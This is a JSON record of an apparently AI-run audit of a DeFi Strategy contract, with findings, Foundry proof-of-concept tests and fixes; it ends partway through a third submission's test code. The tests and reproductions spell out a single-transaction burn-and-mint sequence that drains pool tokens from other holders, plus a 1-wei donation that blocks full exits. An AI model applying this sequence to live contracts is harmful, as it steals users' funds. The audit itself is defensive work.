{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"3c561673-54ff-462a-a9be-6abec2706997","kind":"audit","nodes":[{"acceptedSubmissionHash":"68101cccd4d1afcbe46d840222635a0f1bf51ff11229fbfa6cfdd7df29ea4348","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"cbb42ea86062fffd34bb860f03a61b0e5a73e37687b6d8e6b43f5173077e12af","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"fb7d7107c4ccfbbf98eac114655a7ad96a46dbcf2f7ef8943ae8b8806725678d","dependsOn":["audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","subagents":4,"tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"261a8ffd7c616fa518d89813bf352e01bc749e48993284aceb88270b26ee0f86","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"52fe4c3d6f94da9ed0798e0ec3b033840ca3636019672fad8c06753d70d4b40a","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"}],"objective":"Audit the Strategy contract, focusing on how strategy tokens are minted and burned and how the amount of pool tokens a burner receives is calculated. Do not deploy or modify the code.","parentJobId":null,"planHash":"d5a6ca9f2af7d63d8dda70a71114af45146e722acdb4610200dea36fc795af6f","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"3c561673-54ff-462a-a9be-6abec2706997","publication":{"commit":null,"deliveredAt":null,"repoUrl":null},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52671","feedbackHash":"5162c0cda97eab1b4323951759a859e07a6e0685e01db74483b9446e06dfee75","nodeKey":"audit_economics","submissionHash":"68101cccd4d1afcbe46d840222635a0f1bf51ff11229fbfa6cfdd7df29ea4348","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52161","feedbackHash":"88f14070f52a2fbc66f3b59b7a3d28e1c963c7671956c71e72804881914583b2","nodeKey":"audit_flow","submissionHash":"cbb42ea86062fffd34bb860f03a61b0e5a73e37687b6d8e6b43f5173077e12af","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"56678","feedbackHash":"1f921a148ce42fed7e232893af7962a9fc33ec2afe9e2360b7ec79d1633d2745","nodeKey":"audit_judge","submissionHash":"fb7d7107c4ccfbbf98eac114655a7ad96a46dbcf2f7ef8943ae8b8806725678d","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52601","feedbackHash":"0ed35f89ccb383e20f78f287194a3c25c21b536774efd572d23a3fae2f708441","nodeKey":"audit_math","submissionHash":"261a8ffd7c616fa518d89813bf352e01bc749e48993284aceb88270b26ee0f86","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52599","feedbackHash":"b80a28fec6b452094a92eba64caa8dfcc10331702488b4ca609b04ed8da3fde8","nodeKey":"audit_permissions","submissionHash":"52fe4c3d6f94da9ed0798e0ec3b033840ca3636019672fad8c06753d70d4b40a","tag1":"review:submission","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"f08ba3e19ff44238859fe444d62dd52cf7d30e6274aea3e607508eba0f09af37","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"cc86b49d3c401897","findings":[{"citation":"resolved","description":"mint() values the strategy with poolCached and credits deposit = balance - poolCached. burn() instead pays burnt/totalSupply of the live balance pool.balanceOf(this), which also holds pool tokens that were sent in but not yet minted, plus any donations. It then subtracts that payout from poolCached. The burner is paid a pro-rata share of those pending tokens. poolCached then falls by more than the burner's real share, so the next mint() credits the whole pending deposit against an understated poolCached and mints too many strategy tokens. One account can do transfer LP -> burn -> mint in a single transaction and pull value from every other holder. The same mismatch catches users who send pool tokens and call mint in separate transactions: a burner in between takes part of their deposit. Expected: payout = poolCached_ * burnt / totalSupply_, with pending deposits left for the minter. Fix: use poolCached_ at line 363, as burnDivested does with baseCached. The proof passes with that one-line change.","line":363,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity >=0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport { Strategy } from \"src/Strategy.sol\";\nimport { IFYToken } from \"@yield-protocol/vault-v2/src/interfaces/IFYToken.sol\";\nimport { IPool } from \"@yield-protocol/yieldspace-tv/src/interfaces/IPool.sol\";\nimport { ERC20 } from \"@yield-protocol/utils-v2/src/token/ERC20.sol\";\n\ncontract MockToken is ERC20 {\n    constructor(string memory n) ERC20(n, n, 18) {}\n    function mint(address to, uint256 amt) external { _mint(to, amt); }\n}\n\ncontract MockFYToken is ERC20 {\n    address public underlying;\n    constructor(address u) ERC20(\"fy\", \"fy\", 18) { underlying = u; }\n    function mint(address to, uint256 amt) external { _mint(to, amt); }\n    function redeem(address, uint256) external pure returns (uint256) { return 0; }\n}\n\n/// Minimal pool: LP tokens are minted 1:1 for base received on init.\ncontract MockPool is ERC20 {\n    address public base;\n    address public fyToken;\n    uint32 public maturity;\n    constructor(address b, address fy) ERC20(\"lp\", \"lp\", 18) { base = b; fyToken = fy; maturity = uint32(block.timestamp + 365 days); }\n    function mint(address to, uint256 amt) external { _mint(to, amt); }\n    function init(address to) external returns (uint256, uint256, uint256) {\n        uint256 bal = ERC20(base).balanceOf(address(this));\n        _mint(to, bal);\n        return (bal, 0, bal);\n    }\n}\n\ncontract StrategyBurnLiveBalanceTest is Test {\n    MockToken base;\n    MockFYToken fy;\n    MockPool pool;\n    Strategy strategy;\n    address victim = address(0xBEEF);\n    address attacker = address(0xA11CE);\n\n    function setUp() public {\n        base = new MockToken(\"base\");\n        fy = new MockFYToken(address(base));\n        pool = new MockPool(address(base), address(fy));\n        strategy = new Strategy(\"s\", \"s\", IFYToken(address(fy)));\n        strategy.grantRole(Strategy.init.selector, address(this));\n        strategy.grantRole(Strategy.invest.selector, address(this));\n\n        // 100 base -> 100 strategy tokens -> invested into 100 LP tokens\n        base.mint(address(strategy), 100e18);\n        strategy.init(address(this));\n        strategy.invest(IPool(address(pool)));\n        strategy.transfer(victim, 50e18);\n        strategy.transfer(attacker, 50e18);\n        pool.mint(attacker, 50e18); // attacker also holds 50 LP of their own\n    }\n\n    /// Atomic transfer-LP -> burn -> mint by one account must not increase that account's value.\n    function test_burnUsesLiveBalance_stealsFromHolders() public {\n        uint256 attackerValueBefore = pool.balanceOf(attacker)\n            + strategy.balanceOf(attacker) * pool.balanceOf(address(strategy)) / strategy.totalSupply(); // 100e18\n        uint256 victimValueBefore = 50e18;\n\n        vm.startPrank(attacker);\n        pool.transfer(address(strategy), 50e18);          // pool tokens \"in flight\", not yet minted\n        strategy.transfer(address(strategy), 50e18);\n        strategy.burn(attacker);                          // paid from live balance (150) instead of poolCached (100)\n        strategy.mint(attacker);                          // then credited the full 50 deposit against a shrunken poolCached\n        vm.stopPrank();\n\n        uint256 lp = pool.balanceOf(address(strategy));\n        uint256 supply = strategy.totalSupply();\n        uint256 attackerValueAfter = pool.balanceOf(attacker) + strategy.balanceOf(attacker) * lp / supply;\n        uint256 victimValueAfter = strategy.balanceOf(victim) * lp / supply;\n\n        emit log_named_uint(\"attacker value before\", attackerValueBefore);\n        emit log_named_uint(\"attacker value after \", attackerValueAfter);\n        emit log_named_uint(\"victim value after   \", victimValueAfter);\n        assertLe(attackerValueAfter, attackerValueBefore, \"attacker gained pool tokens\");\n        assertGe(victimValueAfter, victimValueBefore, \"victim lost pool tokens\");\n    }\n\n    /// A 1 wei LP donation must not prevent the holders from burning their whole stake.\n    function test_burnAllRevertsAfterDonation() public {\n        pool.mint(address(this), 1);\n        pool.transfer(address(strategy), 1);              // donation, never minted\n        vm.prank(victim);\n        strategy.transfer(address(strategy), 50e18);\n        vm.prank(attacker);\n        strategy.transfer(address(strategy), 50e18);\n        // burns 100% of supply: live balance 100e18+1 > poolCached 100e18 -> underflow in poolCached_ - poolTokensObtained\n        strategy.burn(address(this));\n        assertEq(strategy.totalSupply(), 0);\n    }\n}","reproduction":"State: INVESTED, poolCached = 100e18 LP, totalSupply = 100e18. Victim holds 50e18 strategy tokens; attacker holds 50e18 strategy tokens and 50e18 LP (attacker value 100e18). In one transaction the attacker: (1) transfers 50e18 LP to the strategy (balance 150e18); (2) transfers 50e18 strategy tokens to the strategy and calls burn(attacker). Payout = 150e18*50e18/100e18 = 75e18 instead of 50e18; poolCached = 100e18-75e18 = 25e18. (3) calls mint(attacker): deposit = 75e18-25e18 = 50e18, minted = 50e18*50e18/25e18 = 100e18. Result: the attacker holds 75e18 LP plus 100/150 of 75e18 LP = 125e18 (expected 100e18). The victim holds 50/150 of 75e18 = 25e18 (expected 50e18). The attacker gains 25e18 and the victim loses 25e18. Covered by test_burnUsesLiveBalance_stealsFromHolders in the proof.","severity":"high","snippet":"        poolTokensObtained = pool.balanceOf(address(this)) * burnt / totalSupply_;","title":"Strategy.burn pays out from the live pool-token balance, not poolCached, letting a burn+mint sequence steal pool tokens from other holders"},{"citation":"resolved","description":"Same root cause as the line-363 finding but a different failure. Because the payout uses the live balance, whenever balance > poolCached the payout can exceed poolCached_. The checked subtraction then reverts. Anyone can trigger this by sending 1 wei of LP to the strategy, which blocks any burn where balance*burnt/totalSupply > poolCached, including the last holder exiting the whole supply. Holders can work around it only by burning less, or by first calling mint() to sync the donation, which credits the donation to someone else. Expected: a full burn returns poolCached and succeeds. Fix: compute the payout from poolCached_ (same fix as the line-363 finding).","line":367,"path":"src/Strategy.sol","reproduction":"State: INVESTED, poolCached = 100e18, totalSupply = 100e18, held by two users. Anyone sends 1 wei of LP to the strategy (balance = 100e18+1). Both holders send all 100e18 strategy tokens to the strategy and call burn(to): payout = (100e18+1)*100e18/100e18 = 100e18+1 > poolCached_ = 100e18, so the call reverts with panic 0x11. Expected: 100e18 paid out and the burn succeeds. Covered by test_burnAllRevertsAfterDonation in the proof of the line-363 finding (it fails on current code and passes with the poolCached_ fix).","severity":"medium","snippet":"        poolCached = poolCached_ - poolTokensObtained;","title":"Strategy.burn reverts on underflow for a burner of the whole supply (or a large enough share) after a 1 wei pool-token donation"},{"citation":"resolved","description":"mintDivested (line 384) and mint (line 341: minted = _totalSupply * deposit / poolCached_) have no branch for an empty strategy. When every holder exits through burnDivested or burn, totalSupply and baseCached/poolCached both reach 0, so every later mint divides by zero and reverts. The bootstrap path _init only runs in State.DEPLOYED, and no transition ever returns there, so the strategy cannot be re-seeded and has to be redeployed and its users migrated. In INVESTED, invest/divest cannot fix it either: divest leaves totalSupply at 0. Expected: a deposit into an empty strategy mints shares (e.g. 1:1, like _init). Fix: when _totalSupply == 0 (or the cache is 0), mint deposit 1:1, ideally with a minimum or dead-share amount, or make _init callable again when supply is 0.","line":384,"path":"src/Strategy.sol","reproduction":"DIVESTED: init with 100 wei base -> totalSupply 100, baseCached 100. The holder sends 100 strategy tokens to the strategy and calls burnDivested -> totalSupply 0, baseCached 0. Transfer 1e18 base to the strategy and call mintDivested(user): minted = 0*1e18/0 reverts (panic 0x12), when 1e18 shares were expected. INVESTED: after init and invest with 100 base, burn all 100 shares -> poolCached 0, totalSupply 0. Transfer 1e18 LP and call mint(user): reverts dividing by poolCached_ = 0. Both cases were checked with local Foundry tests against mocks.","severity":"low","snippet":"        minted = _totalSupply * deposit / baseCached_;","title":"Once the whole supply is burned, mint/mintDivested divide by zero and the strategy can never take deposits again"}],"hash":"261a8ffd7c616fa518d89813bf352e01bc749e48993284aceb88270b26ee0f86","nodeId":"78784b8c-a511-4fbd-a238-2a5410fc3c56","outcome":"completed","summary":"I found three defects in how `src/Strategy.sol` mints and burns strategy tokens and works out the pool tokens a burner receives. I confirmed each with local Foundry tests against mock pool and fyToken contracts. The findings are in `.imd-findings.json`; the source is unchanged and the scratch tests have been deleted.\n\n| Severity | Location | Issue |\n|---|---|---|\n| High | `src/Strategy.sol:363` (`burn`) | The payout uses the contract's live pool-token balance, while `mint` values the strategy with the stored `poolCached`. So a burner also gets a share of pool tokens that someone sent in but hasn't minted yet, and `poolCached` drops too far. One attacker can steal from other holders in a single transaction. |\n| Medium | `src/Strategy.sol:367` (`burn`) | Same cause, different failure. After anyone sends in 1 wei of pool tokens, the payout can exceed `poolCached` and the subtraction reverts. This blocks a burn of the whole supply. |\n| Low | `src/Strategy.sol:384` and `:341` (`mintDivested` / `mint`) | Once every holder has burned out, supply and the stored balance are both 0, so every later mint divides by zero. Nothing can return the contract to the state where the first deposit is allowed, so it can never take deposits again and would have to be redeployed. |\n\n**High-finding example:** the strategy holds 100 pool tokens against 100 strategy tokens, split 50/50 between a victim and an attacker. The attacker also holds 50 pool tokens of their own.\n1. The attacker sends their 50 pool tokens to the strategy.\n2. They burn their 50 strategy tokens and are paid 75 pool tokens instead of 50. `poolCached` drops to 25.\n3. They call `mint`, which credits the full 50 deposit against a `poolCached` of only 25 and gives them 100 strategy tokens.\n\nThe attacker ends with 125 of value instead of 100, and the victim with 25 instead of 50.\n\n**Fix for the high and medium findings:** one line at 363, `poolTokensObtained = poolCached_ * burnt / totalSupply_;`. This is how `burnDivested` already uses its stored balance. Both proof tests fail on the current code and pass with that change. The high finding's `proof` field contains the test file.\n\n**Low finding:** this one has no `proof` field (only critical and high findings need one), but its reproduction is written out step by step. In the invested state I only checked that `mint` reverts after everyone has burned. I didn't check whether the real pool accepts burning zero pool tokens when the strategy is wound up at maturity. The finding doesn't depend on it, because the total supply stays 0 either way.\n\n**Coverage:** I ran the Math Precision, Boundary and Numerical Gap checks over:\n- all four mint and burn functions;\n- the first-deposit path (`init`/`_init`);\n- the moves between states, including what they write to the stored balances (`invest`, `divest`, `eject`, `buyFYToken`, `restart`).\n\nNo helpers were used. I also looked at, but did not report:\n- **Rounding on small deposits:** it always rounds against the user, and the loss is at most a few wei.\n- **Inflating the share price by repeated rounding:** the gain is about 1 wei per operation, so it isn't economically feasible.\n- **Donations to the divested strategy:** these go to the next minter, which is how the router-based deposit flow is designed.\n\nI didn't review anything outside the mint and burn accounting in depth, such as access control or the drafts and deprecated contracts.","treeHash":null,"usage":{"cachedInputTokens":271082,"cost":{"source":"runtime","usdMicros":600517},"inputTokens":17,"model":"claude-opus-5-5","outputTokens":14178,"runtime":"claude","turns":9,"wallClockMs":158642}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"a315ee4cb81c640c","findings":[{"citation":"resolved","description":"burn() computes the payout as pool.balanceOf(strategy) * burnt / totalSupply, and then lowers the cache with poolCached = poolCached_ - poolTokensObtained. mint() prices shares with poolCached and treats balance - poolCached as a new deposit. The two functions value the same pool-token holdings differently (live balance vs cache), so the same uncached pool tokens are counted twice. They are paid out pro-rata by burn(), and they are still balance - poolCached afterwards, so the next mint() credits them as a deposit. In one transaction a holder can: (1) transfer D LP to the strategy, (2) send b strategy tokens and call burn(), receiving (P+D)*b/S, (3) call mint() and get new shares for the same D at a depressed price (poolCached was reduced by the inflated payout). The profit comes out of the other holders' share, and the sequence can be repeated. The same root cause has three more effects. Anyone can take another user's pending LP deposit, sent but not yet minted, by calling burn() first. When the uncached balance pushes poolTokensObtained above poolCached_, burn() reverts on underflow: for example, a final full exit reverts after 1 wei of LP is donated. And poolCached drifts away from the real balance. Fix: compute the payout from the cache, poolTokensObtained = poolCached_ * burnt / totalSupply_, the same way burnDivested uses baseCached. Uncached tokens then stay as a pending deposit for mint(). Checked by applying this one-line change to a scratch copy of the contract: both proof tests pass.","line":363,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport {Strategy} from \"src/Strategy.sol\";\nimport {IFYToken} from \"@yield-protocol/vault-v2/src/interfaces/IFYToken.sol\";\nimport {IPool} from \"@yield-protocol/yieldspace-tv/src/interfaces/IPool.sol\";\n\ncontract MockToken {\n    string public name = \"T\";\n    string public symbol = \"T\";\n    uint8 public decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    function mintTo(address to, uint256 a) public { balanceOf[to] += a; totalSupply += a; }\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a; balanceOf[to] += a; return true;\n    }\n}\n\ncontract MockFYToken is MockToken {\n    address public underlying;\n    constructor(address u) { underlying = u; }\n}\n\ncontract MockPool is MockToken {\n    address public base;\n    address public fyToken;\n    uint32 public maturity;\n    uint256 baseCached;\n    constructor(address b, address f) { base = b; fyToken = f; maturity = uint32(block.timestamp + 365 days); }\n    function init(address to) external returns (uint256, uint256, uint256 minted) {\n        uint256 bal = MockToken(base).balanceOf(address(this));\n        minted = bal - baseCached;\n        baseCached = bal;\n        mintTo(to, minted);\n        return (minted, 0, minted);\n    }\n}\n\ncontract BurnBalanceTest is Test {\n    MockToken baseToken;\n    MockFYToken fy;\n    MockPool pool;\n    Strategy strategy;\n    address victim = address(0xBEEF);\n    address attacker = address(0xBAD);\n\n    function setUp() public {\n        baseToken = new MockToken();\n        fy = new MockFYToken(address(baseToken));\n        pool = new MockPool(address(baseToken), address(fy));\n        strategy = new Strategy(\"S\", \"S\", IFYToken(address(fy)));\n        strategy.grantRole(Strategy.init.selector, address(this));\n        strategy.grantRole(Strategy.invest.selector, address(this));\n\n        // Victim seeds the strategy with 100 base -> 100 strategy tokens, invested into the pool -> 100 LP\n        baseToken.mintTo(address(strategy), 100e18);\n        strategy.init(victim);\n        strategy.invest(IPool(address(pool)));\n\n        // Attacker holds 100 LP tokens and legitimately mints 50 strategy tokens with 50 LP\n        pool.mintTo(attacker, 100e18);\n        vm.startPrank(attacker);\n        pool.transfer(address(strategy), 50e18);\n        strategy.mint(attacker);\n        vm.stopPrank();\n        assertEq(strategy.balanceOf(attacker), 50e18);\n        assertEq(strategy.poolCached(), 150e18);\n    }\n\n    function testBurnUsesUncachedBalanceToStealFromHolders() public {\n        // Attacker, in one transaction: transfer 50 LP, burn 50 shares, then mint() to reclaim the 50 LP as a deposit.\n        vm.startPrank(attacker);\n        pool.transfer(address(strategy), 50e18);\n        strategy.transfer(address(strategy), 50e18);\n        uint256 got = strategy.burn(attacker);\n        strategy.mint(attacker);\n        vm.stopPrank();\n        emit log_named_uint(\"LP paid out to attacker by burn\", got);\n\n        // Victim exits with all 100 shares; fairly they own 100 LP (their 100 of 150 shares on a 150 LP pot).\n        vm.startPrank(victim);\n        strategy.transfer(address(strategy), 100e18);\n        uint256 victimOut = strategy.burn(victim);\n        vm.stopPrank();\n        emit log_named_uint(\"LP received by victim\", victimOut);\n        emit log_named_uint(\"Attacker LP after victim exit (+ remaining shares value)\", pool.balanceOf(attacker) + pool.balanceOf(address(strategy)));\n\n        // Fair: burning 50/150 shares backed by 150 cached LP pays 50 LP, and the victim gets 100 LP back.\n        assertEq(got, 50e18, \"burn paid out of uncached LP balance\");\n        assertGe(victimOut, 100e18 - 1, \"victim lost LP to attacker\");\n    }\n\n    function testLastHolderBurnRevertsWithUncachedLP() public {\n        // Anyone sends 1 wei of LP to the strategy; the full exit of all holders then underflows poolCached.\n        pool.mintTo(address(this), 1);\n        pool.transfer(address(strategy), 1);\n        vm.prank(victim);\n        strategy.transfer(address(strategy), 100e18);\n        vm.prank(attacker);\n        strategy.transfer(address(strategy), 50e18);\n        uint256 out = strategy.burn(victim);\n        assertEq(out, 150e18);\n    }\n}","reproduction":"State INVESTED, poolCached = 150e18 LP, totalSupply = 150e18. The victim holds 100e18 shares; the attacker holds 50e18 shares plus 50e18 LP. In one transaction the attacker calls pool.transfer(strategy, 50e18), strategy.transfer(strategy, 50e18), burn(attacker) and mint(attacker). Expected: burn pays 150e18*50/150 = 50e18 LP, and the victim can later redeem 100e18 LP. Actual: burn pays 200e18*50/150 = 66.67e18 LP, mint then gives 60e18 new shares for the 50e18 LP, and the victim's later burn of 100e18 shares returns only 83.33e18 LP. The attacker ends with 116.67e18 LP worth for 100e18 put in. Underflow variant: with any extra LP (1 wei) in the strategy, burning the entire supply (150e18 shares) reverts with panic 0x11 instead of paying 150e18 LP.","severity":"high","snippet":"        poolTokensObtained = pool.balanceOf(address(this)) * burnt / totalSupply_;","title":"Strategy.burn pays out from the live pool-token balance instead of poolCached, letting a holder double-count a deposit and steal LP from other holders"},{"citation":"resolved","description":"mintDivested (line 384) and mint (line 341) price new shares as _totalSupply * deposit / cached and have no branch for an empty strategy. If all holders burn (burnDivested in DIVESTED, or burn in INVESTED, which then carries baseCached = 0 into DIVESTED after divest), both _totalSupply and the cache are 0. Every later deposit then reverts with a division-by-zero panic. No transition leads back to a seeding path: init() only works in DEPLOYED and restart() only in DRAINED. invest() would send 0 base to a pool. The deployed strategy is therefore permanently unusable, and base sent to it without an atomic mint stays stuck. Fix: when _totalSupply == 0 (or the cache is 0), mint shares 1:1 with the deposit, as _init does, ideally with a minimum first deposit; or allow re-seeding with an auth-gated init from DIVESTED when the supply is 0.","line":384,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport {Strategy} from \"src/Strategy.sol\";\nimport {IFYToken} from \"@yield-protocol/vault-v2/src/interfaces/IFYToken.sol\";\n\ncontract MockToken {\n    string public name = \"T\";\n    string public symbol = \"T\";\n    uint8 public decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    function mintTo(address to, uint256 a) public { balanceOf[to] += a; totalSupply += a; }\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a; balanceOf[to] += a; return true;\n    }\n}\ncontract MockFYToken is MockToken {\n    address public underlying;\n    constructor(address u) { underlying = u; }\n}\n\ncontract ZeroSupplyTest is Test {\n    function testMintDivestedAfterFullExit() public {\n        MockToken baseToken = new MockToken();\n        MockFYToken fy = new MockFYToken(address(baseToken));\n        Strategy strategy = new Strategy(\"S\", \"S\", IFYToken(address(fy)));\n        strategy.grantRole(Strategy.init.selector, address(this));\n        address alice = address(0xA11CE);\n        address bob = address(0xB0B);\n\n        baseToken.mintTo(address(strategy), 100e18);\n        strategy.init(alice);\n\n        // Every holder exits\n        vm.startPrank(alice);\n        strategy.transfer(address(strategy), 100e18);\n        strategy.burnDivested(alice);\n        vm.stopPrank();\n        assertEq(strategy.totalSupply(), 0);\n        assertEq(strategy.baseCached(), 0);\n\n        // A new depositor can no longer enter: 0 * deposit / 0 panics\n        baseToken.mintTo(bob, 10e18);\n        vm.startPrank(bob);\n        baseToken.transfer(address(strategy), 10e18);\n        uint256 minted = strategy.mintDivested(bob);\n        vm.stopPrank();\n        assertGt(minted, 0);\n    }\n}","reproduction":"Deploy, put 100e18 base in the strategy and call init(alice): state DIVESTED, supply 100e18. Alice sends her 100e18 shares to the strategy and calls burnDivested(alice): supply 0, baseCached 0. Bob sends 10e18 base and calls mintDivested(bob). Expected: Bob is minted shares. Actual: revert with panic 0x12 (division by zero). The same happens in every later state.","severity":"low","snippet":"        minted = _totalSupply * deposit / baseCached_;","title":"Once every holder has exited, mintDivested/mint divide by zero and the strategy can never take deposits again"}],"hash":"52fe4c3d6f94da9ed0798e0ec3b033840ca3636019672fad8c06753d70d4b40a","nodeId":"800990dd-b830-4160-a5cf-0d3a2b77a636","outcome":"completed","summary":"I found one high and one low issue in `src/Strategy.sol`. Each has a Foundry test that fails on the current code, and both are in `.imd-findings.json`. I changed no source files and deleted my scratch tests afterwards.\n\n### High: `burn()` pays out from the live pool-token balance instead of `poolCached` (`src/Strategy.sol:363`)\n`burn()` uses `pool.balanceOf(this)` to work out the payout. `mint()` uses `poolCached` to price shares and counts `balance - poolCached` as a new deposit. So pool tokens that aren't in the cache get counted twice: `burn()` pays them out pro rata, and the next `mint()` still credits them as a deposit.\n\n- **Exploit:** the strategy holds 150 LP and 150 shares. The victim has 100 shares; the attacker has 50 shares and 50 LP. In one transaction the attacker sends 50 LP, burns 50 shares and calls `mint()`.\n- **Result:** the burn pays the attacker 66.67 LP instead of 50, and `mint()` then gives 60 new shares for the same 50 LP. The victim can now redeem only 83.33 LP instead of 100. The attacker ends with 116.67 LP of value for 100 put in, and can repeat it.\n- **Other effects of the same cause:**\n  - Anyone can take another user's LP that was sent but not yet minted, by calling `burn()` first.\n  - If even 1 wei of extra LP is sitting in the strategy, a full exit reverts on underflow.\n- **Fix:** `poolTokensObtained = poolCached_ * burnt / totalSupply_;`, the same way `burnDivested` uses `baseCached`. With this one-line change applied to a scratch copy of the contract, both proof tests pass.\n\n### Low: once every holder exits, the strategy can never take deposits again (`src/Strategy.sol:384`, also `:341`)\nWhen all holders burn, both the total supply and the cache drop to 0. After that, `mintDivested` and `mint` revert with a division by zero. Nothing leads back to a state where the strategy can be seeded again: `init` only works in `DEPLOYED` and `restart` only in `DRAINED`.\n- **Reproduction:** `init(alice)` with 100 base, Alice burns all 100 shares through `burnDivested`, then Bob's `mintDivested` reverts.\n- **Fix:** when the supply is 0, mint shares 1:1 with the deposit, as `_init` does.\n\n**What I left out or couldn't do:**\n- I worked through the Access Control, Trust Gap and Asymmetry checklists myself; no helpers were used.\n- Role-gated functions are trust assumptions, not findings: `init`, `invest`, `eject`, `restart`, and the migration `mint(address,address,uint256,uint256)`.\n- `burnPoolTokens` is correctly limited to calls from the contract itself.\n- Anyone can grab tokens that a user sent to the strategy but hasn't minted or burned yet. The code expects those steps to be batched through a router, so I only reported this where the `burn()` bug makes it worse.\n- The tests run against small stand-in contracts for the pool and fyToken, not the real YieldSpace pool, because the project's own tests need a forked network.","treeHash":null,"usage":{"cachedInputTokens":313686,"cost":{"source":"runtime","usdMicros":627068},"inputTokens":18,"model":"claude-opus-5-5","outputTokens":13469,"runtime":"claude","turns":10,"wallClockMs":149552}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"e293ff3324f7ddb5","findings":[{"citation":"resolved","description":"mint() and the poolCached cache treat pool tokens above poolCached as an un-synced deposit that belongs to whoever calls mint() next. burn() ignores that: it computes poolTokensObtained = pool.balanceOf(this) * burnt / totalSupply_, so any LP tokens sitting in the strategy but not yet minted against (a user's transfer awaiting its mint() call, a mistaken transfer) are shared out pro rata to burners, while poolCached is then decremented by the inflated amount. The pending depositor's later mint() sees a smaller (or zero) deposit and is underpaid. The accounting is also inconsistent: when the payout exceeds poolCached_ (e.g. the last holder burning 100% after any donation, even 1 wei), line 367 `poolCached = poolCached_ - poolTokensObtained` underflows and the full exit reverts until someone calls mint() to sync. Fix: compute the payout from the cached value, `poolTokensObtained = poolCached_ * burnt / totalSupply_` (consistent with burnDivested, which uses baseCached), leaving unaccounted tokens for the next mint().","line":363,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity >=0.8.13;\nimport \"forge-std/Test.sol\";\nimport { Strategy } from \"src/Strategy.sol\";\nimport { IFYToken } from \"@yield-protocol/vault-v2/src/interfaces/IFYToken.sol\";\nimport { IPool } from \"@yield-protocol/yieldspace-tv/src/interfaces/IPool.sol\";\nimport { ERC20 } from \"@yield-protocol/utils-v2/src/token/ERC20.sol\";\n\ncontract MockToken is ERC20 {\n    constructor(string memory n) ERC20(n, n, 18) {}\n    function mintTo(address to, uint256 a) external { _mint(to, a); }\n}\n\ncontract MockFYToken is ERC20 {\n    address public underlying;\n    constructor(address u) ERC20(\"fy\", \"fy\", 18) { underlying = u; }\n    function redeem(address, uint256 a) external returns (uint256) { require(a == 0); return 0; }\n}\n\n/// Minimal pool: `init` mints LP 1:1 for base received.\ncontract MockPool is ERC20 {\n    address public base;\n    address public fyToken;\n    uint32 public maturity;\n    constructor(address b, address fy) ERC20(\"lp\", \"lp\", 18) { base = b; fyToken = fy; maturity = uint32(block.timestamp + 365 days); }\n    function init(address to) external returns (uint256, uint256, uint256 minted) {\n        minted 